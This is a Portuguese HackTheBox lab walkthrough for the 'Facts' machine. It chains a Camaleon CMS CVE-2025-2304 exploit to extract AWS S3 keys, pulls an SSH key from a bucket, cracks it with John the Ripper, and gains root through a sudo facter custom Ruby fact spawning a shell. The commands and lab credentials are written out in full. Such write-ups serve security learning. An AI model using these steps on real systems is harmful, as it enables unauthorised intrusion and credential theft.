
HackTheBox — Facts (Fácil/Linux) | CVE-2025-2304 + AWS S3 + Chave SSH + Facter PrivEsc
Facts é uma máquina Linux de dificuldade Fácil que exige explorar uma vulnerabilidade conhecida
(CVE-2025-2304) no Camaleon CMS para extrair credenciais locais da AWS S3.
Ao enumerar os buckets S3 internos, é revelada uma chave privada SSH que precisa ser quebrada usando o John the Ripper para obter acesso inicial.
A escalada de privilégio é alcançada explorando uma má configuração do sudo em /usr/bin/facter, permitindo a execução de código Ruby personalizado para obter um shell de root.
Cadeia de Ataque: Nmap → Camaleon CMS (CVE-2025-2304) → Enumeração de Buckets S3 → Quebra da Chave SSH → sudo facter → Root
Vamos começar com uma varredura Nmap para identificar os serviços ativos na máquina alvo. Bash
nmap -sV -sC -oN nmap_facts 10.129.244.96
Resultados:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

O Nmap revela duas portas abertas: 22 (SSH) e 80 (HTTP). O servidor web é baseado em Nginx. Antes de interagirmos corretamente com o site, devemos adicionar o host facts.htb ao nosso arquivo /etc/hosts.
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
Ao visitar o site na porta 80, somos apresentados a uma página web padrão. Para descobrir caminhos ocultos, lançamos um ataque de força bruta de diretórios (por exemplo, usando ffuf ou gobuster).
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
A enumeração revela vários diretórios interessantes relacionados a um painel administrativo (/admin, /admin.php, etc.), todos redirecionando com status 302 para http://facts.htb/admin/login.

Ao visitar a página de login e autenticar (ou olhar o rodapé do painel), descobrimos a tecnologia por trás do site: Camaleon CMS.
Um detalhe importante chama nossa atenção no canto inferior direito: a versão do CMS é 2.9.0.

Sabendo que o servidor está executando Camaleon CMS 2.9.0, uma pesquisa rápida online nos leva a descobrir uma vulnerabilidade crítica conhecida como CVE-2025-2304, que permite escalada de privilégios de um usuário autenticado para administrador.
Encontramos um exploit público no GitHub (criado por Alien0ne) e o baixamos para nossa máquina atacante.

Executamos o exploit passando as credenciais que temos em mãos (ex.: mattia:mattia) para nos elevar a admin, extrair informações sensíveis e, em seguida, reverter para o papel original para não deixar rastros óbvios.
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
A saída do exploit é uma mina de ouro: ele consegue extrair credenciais locais da AWS S3 e o endpoint interno usado pelo servidor.
Chave de Acesso S3: AKIAA103ACAA5953D888
Chave Secreta S3: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
Endpoint S3: http://localhost:54321 (que se torna http://facts.htb:54321 para nós)

Com essas chaves, podemos configurar nossa CLI AWS local para interagir com o serviço S3 exposto pela máquina.
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json
Agora podemos listar os buckets disponíveis passando a URL do endpoint personalizado:
aws --endpoint-url http://facts.htb:54321 s3 ls
Encontramos dois buckets: internal e randomfacts. Ao explorar recursivamente o bucket internal, descobrimos uma pasta .ssh contendo chaves!
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
Vamos baixar o arquivo id_ed25519 (a chave privada SSH) para nossa máquina.
Temos a chave privada, mas ela está protegida por uma passphrase. Para quebrá-la, usaremos a suíte John the Ripper. Primeiro, converteremos a chave para um formato que o John consiga ler usando ssh2john:
ssh2john id_ed25519 > hash.txt
Em seguida, lançamos o ataque de dicionário (usando a wordlist personalizada my_guess.txt ou a clássica rockyou.txt):
john --wordlist=my_guess.txt hash.txt
A senha é quebrada com sucesso: dragonballz. Agora temos tudo o que precisamos para acessar o servidor!

Agora que temos tudo o que precisamos, podemos aproveitar a segunda porta aberta que encontramos anteriormente: a porta SSH (22).
ssh -i id_ed25519 [email protected]
Usaremos a senha que encontramos anteriormente: dragonballz. Estamos dentro!
Agora precisamos descobrir qual caminho podemos explorar para obter acesso root, então usaremos sudo -l.
Caminho:
/usr/bin/facter
Para explorar esse caminho, usaremos um mini script:
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
E então o executaremos:
sudo /usr/bin/facter --custom-dir=/tmp pwn

Oficialmente somos root!!!
Agora só precisamos encontrar as duas flags disponíveis :)

NMAP — 2 portas descobertas (22, 80) ↓ Enumeração Web — Seção de admin encontrada ↓ Camaleon CMS -> CVE-2025-2304 ↓ Exploit + configurações AWS ↓ John the ripper para o hash ↓ Login SSH ↓ Sudo -l ↓ Script + Execução ↓ ROOT ✅